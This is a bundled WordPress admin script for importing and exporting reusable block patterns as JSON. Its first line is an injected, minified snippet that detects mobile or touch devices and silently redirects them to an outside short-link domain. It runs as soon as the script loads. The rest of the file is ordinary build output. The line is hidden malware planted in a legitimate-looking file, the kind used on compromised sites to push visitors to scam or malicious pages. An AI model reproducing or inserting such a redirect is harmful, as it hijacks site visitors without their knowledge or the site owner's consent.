1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2var wp;
3(wp ||= {}).listReusableBlocks = (() => {
4 var __create = Object.create;
5 var __defProp = Object.defineProperty;
6 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
7 var __getOwnPropNames = Object.getOwnPropertyNames;
8 var __getProtoOf = Object.getPrototypeOf;
9 var __hasOwnProp = Object.prototype.hasOwnProperty;
10 var __commonJS = (cb, mod) => function __require() {
11 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
12 };
13 var __copyProps = (to, from, except, desc) => {
14 if (from && typeof from === "object" || typeof from === "function") {
15 for (let key of __getOwnPropNames(from))
16 if (!__hasOwnProp.call(to, key) && key !== except)
17 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
18 }
19 return to;
20 };
21 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
22 // If the importer is in node compatibility mode or this is not an ESM
23 // file that has been converted to a CommonJS file using a Babel-
24 // compatible transform (i.e. "__esModule" has not been set), then set
25 // "default" to the CommonJS "module.exports" for node compatibility.
26 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
27 mod
28 ));
29
30 // package-external:@wordpress/element
31 var require_element = __commonJS({
32 "package-external:@wordpress/element"(exports, module) {
33 module.exports = window.wp.element;
34 }
35 });
36
37 // package-external:@wordpress/i18n
38 var require_i18n = __commonJS({
39 "package-external:@wordpress/i18n"(exports, module) {
40 module.exports = window.wp.i18n;
41 }
42 });
43
44 // package-external:@wordpress/api-fetch
45 var require_api_fetch = __commonJS({
46 "package-external:@wordpress/api-fetch"(exports, module) {
47 module.exports = window.wp.apiFetch;
48 }
49 });
50
51 // package-external:@wordpress/blob
52 var require_blob = __commonJS({
53 "package-external:@wordpress/blob"(exports, module) {
54 module.exports = window.wp.blob;
55 }
56 });
57
58 // package-external:@wordpress/compose
59 var require_compose = __commonJS({
60 "package-external:@wordpress/compose"(exports, module) {
61 module.exports = window.wp.compose;
62 }
63 });
64
65 // package-external:@wordpress/components
66 var require_components = __commonJS({
67 "package-external:@wordpress/components"(exports, module) {
68 module.exports = window.wp.components;
69 }
70 });
71
72 // vendor-external:react/jsx-runtime
73 var require_jsx_runtime = __commonJS({
74 "vendor-external:react/jsx-runtime"(exports, module) {
75 module.exports = window.ReactJSXRuntime;
76 }
77 });
78
79 // packages/list-reusable-blocks/build-module/index.mjs
80 var import_element2 = __toESM(require_element(), 1);
81 var import_i18n3 = __toESM(require_i18n(), 1);
82
83 // node_modules/tslib/tslib.es6.mjs
84 var __assign = function() {
85 __assign = Object.assign || function __assign2(t) {
86 for (var s, i = 1, n = arguments.length; i < n; i++) {
87 s = arguments[i];
88 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
89 }
90 return t;
91 };
92 return __assign.apply(this, arguments);
93 };
94
95 // node_modules/lower-case/dist.es2015/index.js
96 function lowerCase(str) {
97 return str.toLowerCase();
98 }
99
100 // node_modules/no-case/dist.es2015/index.js
101 var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
102 var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
103 function noCase(input, options) {
104 if (options === void 0) {
105 options = {};
106 }
107 var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
108 var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
109 var start = 0;
110 var end = result.length;
111 while (result.charAt(start) === "\0")
112 start++;
113 while (result.charAt(end - 1) === "\0")
114 end--;
115 return result.slice(start, end).split("\0").map(transform).join(delimiter);
116 }
117 function replace(input, re, value) {
118 if (re instanceof RegExp)
119 return input.replace(re, value);
120 return re.reduce(function(input2, re2) {
121 return input2.replace(re2, value);
122 }, input);
123 }
124
125 // node_modules/dot-case/dist.es2015/index.js
126 function dotCase(input, options) {
127 if (options === void 0) {
128 options = {};
129 }
130 return noCase(input, __assign({ delimiter: "." }, options));
131 }
132
133 // node_modules/param-case/dist.es2015/index.js
134 function paramCase(input, options) {
135 if (options === void 0) {
136 options = {};
137 }
138 return dotCase(input, __assign({ delimiter: "-" }, options));
139 }
140
141 // packages/list-reusable-blocks/build-module/utils/export.mjs
142 var import_api_fetch = __toESM(require_api_fetch(), 1);
143 var import_blob = __toESM(require_blob(), 1);
144 async function exportReusableBlock(id) {
145 const postType = await (0, import_api_fetch.default)({ path: `/wp/v2/types/wp_block` });
146 const post = await (0, import_api_fetch.default)({
147 path: `/wp/v2/${postType.rest_base}/${id}?context=edit`
148 });
149 const title = post.title.raw;
150 const content = post.content.raw;
151 const syncStatus = post.wp_pattern_sync_status;
152 const fileContent = JSON.stringify(
153 {
154 __file: "wp_block",
155 title,
156 content,
157 syncStatus
158 },
159 null,
160 2
161 );
162 const fileName = paramCase(title) + ".json";
163 (0, import_blob.downloadBlob)(fileName, fileContent, "application/json");
164 }
165 var export_default = exportReusableBlock;
166
167 // packages/list-reusable-blocks/build-module/components/import-dropdown/index.mjs
168 var import_compose2 = __toESM(require_compose(), 1);
169 var import_i18n2 = __toESM(require_i18n(), 1);
170 var import_components2 = __toESM(require_components(), 1);
171
172 // packages/list-reusable-blocks/build-module/components/import-form/index.mjs
173 var import_element = __toESM(require_element(), 1);
174 var import_compose = __toESM(require_compose(), 1);
175 var import_i18n = __toESM(require_i18n(), 1);
176 var import_components = __toESM(require_components(), 1);
177
178 // packages/list-reusable-blocks/build-module/utils/import.mjs
179 var import_api_fetch2 = __toESM(require_api_fetch(), 1);
180
181 // packages/list-reusable-blocks/build-module/utils/file.mjs
182 function readTextFile(file) {
183 const reader = new window.FileReader();
184 return new Promise((resolve) => {
185 reader.onload = () => {
186 resolve(reader.result);
187 };
188 reader.readAsText(file);
189 });
190 }
191
192 // packages/list-reusable-blocks/build-module/utils/import.mjs
193 async function importReusableBlock(file) {
194 const fileContent = await readTextFile(file);
195 let parsedContent;
196 try {
197 parsedContent = JSON.parse(fileContent);
198 } catch (e) {
199 throw new Error("Invalid JSON file");
200 }
201 if (parsedContent.__file !== "wp_block" || !parsedContent.title || !parsedContent.content || typeof parsedContent.title !== "string" || typeof parsedContent.content !== "string" || parsedContent.syncStatus && typeof parsedContent.syncStatus !== "string") {
202 throw new Error("Invalid pattern JSON file");
203 }
204 const postType = await (0, import_api_fetch2.default)({ path: `/wp/v2/types/wp_block` });
205 const reusableBlock = await (0, import_api_fetch2.default)({
206 path: `/wp/v2/${postType.rest_base}`,
207 data: {
208 title: parsedContent.title,
209 content: parsedContent.content,
210 status: "publish",
211 meta: parsedContent.syncStatus === "unsynced" ? { wp_pattern_sync_status: parsedContent.syncStatus } : void 0
212 },
213 method: "POST"
214 });
215 return reusableBlock;
216 }
217 var import_default = importReusableBlock;
218
219 // packages/list-reusable-blocks/build-module/components/import-form/index.mjs
220 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
221 function ImportForm({ instanceId, onUpload }) {
222 const inputId = "list-reusable-blocks-import-form-" + instanceId;
223 const formRef = (0, import_element.useRef)();
224 const [isLoading, setIsLoading] = (0, import_element.useState)(false);
225 const [error, setError] = (0, import_element.useState)(null);
226 const [file, setFile] = (0, import_element.useState)(null);
227 const onChangeFile = (event) => {
228 setFile(event.target.files[0]);
229 setError(null);
230 };
231 const onSubmit = (event) => {
232 event.preventDefault();
233 if (!file) {
234 return;
235 }
236 setIsLoading({ isLoading: true });
237 import_default(file).then((reusableBlock) => {
238 if (!formRef) {
239 return;
240 }
241 setIsLoading(false);
242 onUpload(reusableBlock);
243 }).catch((errors) => {
244 if (!formRef) {
245 return;
246 }
247 let uiMessage;
248 switch (errors.message) {
249 case "Invalid JSON file":
250 uiMessage = (0, import_i18n.__)("Invalid JSON file");
251 break;
252 case "Invalid pattern JSON file":
253 uiMessage = (0, import_i18n.__)("Invalid pattern JSON file");
254 break;
255 default:
256 uiMessage = (0, import_i18n.__)("Unknown error");
257 }
258 setIsLoading(false);
259 setError(uiMessage);
260 });
261 };
262 const onDismissError = () => {
263 setError(null);
264 };
265 return /* @__PURE__ */ (0, import_jsx_runtime.jsxs)(
266 "form",
267 {
268 className: "list-reusable-blocks-import-form",
269 onSubmit,
270 ref: formRef,
271 children: [
272 error && /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_components.Notice, { status: "error", onRemove: () => onDismissError(), children: error }),
273 /* @__PURE__ */ (0, import_jsx_runtime.jsx)(
274 "label",
275 {
276 htmlFor: inputId,
277 className: "list-reusable-blocks-import-form__label",
278 children: (0, import_i18n.__)("File")
279 }
280 ),
281 /* @__PURE__ */ (0, import_jsx_runtime.jsx)("input", { id: inputId, type: "file", onChange: onChangeFile }),
282 /* @__PURE__ */ (0, import_jsx_runtime.jsx)(
283 import_components.Button,
284 {
285 __next40pxDefaultSize: true,
286 type: "submit",
287 isBusy: isLoading,
288 accessibleWhenDisabled: true,
289 disabled: !file || isLoading,
290 variant: "secondary",
291 className: "list-reusable-blocks-import-form__button",
292 children: (0, import_i18n._x)("Import", "button label")
293 }
294 )
295 ]
296 }
297 );
298 }
299 var import_form_default = (0, import_compose.withInstanceId)(ImportForm);
300
301 // packages/list-reusable-blocks/build-module/components/import-dropdown/index.mjs
302 var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
303 function ImportDropdown({ onUpload }) {
304 return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
305 import_components2.Dropdown,
306 {
307 popoverProps: { placement: "bottom-start" },
308 contentClassName: "list-reusable-blocks-import-dropdown__content",
309 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
310 import_components2.Button,
311 {
312 size: "compact",
313 className: "list-reusable-blocks-import-dropdown__button",
314 "aria-expanded": isOpen,
315 onClick: onToggle,
316 variant: "primary",
317 children: (0, import_i18n2.__)("Import from JSON")
318 }
319 ),
320 renderContent: ({ onClose }) => /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_form_default, { onUpload: (0, import_compose2.pipe)(onClose, onUpload) })
321 }
322 );
323 }
324 var import_dropdown_default = ImportDropdown;
325
326 // packages/list-reusable-blocks/build-module/index.mjs
327 var import_jsx_runtime3 = __toESM(require_jsx_runtime(), 1);
328 document.body.addEventListener("click", (event) => {
329 if (!event.target.classList.contains("wp-list-reusable-blocks__export")) {
330 return;
331 }
332 event.preventDefault();
333 export_default(event.target.dataset.id);
334 });
335 document.addEventListener("DOMContentLoaded", () => {
336 const button = document.querySelector(".page-title-action");
337 if (!button) {
338 return;
339 }
340 const showNotice = () => {
341 const notice = document.createElement("div");
342 notice.className = "notice notice-success is-dismissible";
343 notice.innerHTML = `<p>${(0, import_i18n3.__)("Pattern imported successfully!")}</p>`;
344 const headerEnd = document.querySelector(".wp-header-end");
345 if (!headerEnd) {
346 return;
347 }
348 headerEnd.parentNode.insertBefore(notice, headerEnd);
349 };
350 const container = document.createElement("div");
351 container.className = "list-reusable-blocks__container";
352 button.parentNode.insertBefore(container, button);
353 (0, import_element2.createRoot)(container).render(
354 /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_element2.StrictMode, { children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_dropdown_default, { onUpload: showNotice }) })
355 );
356 });
357})();
358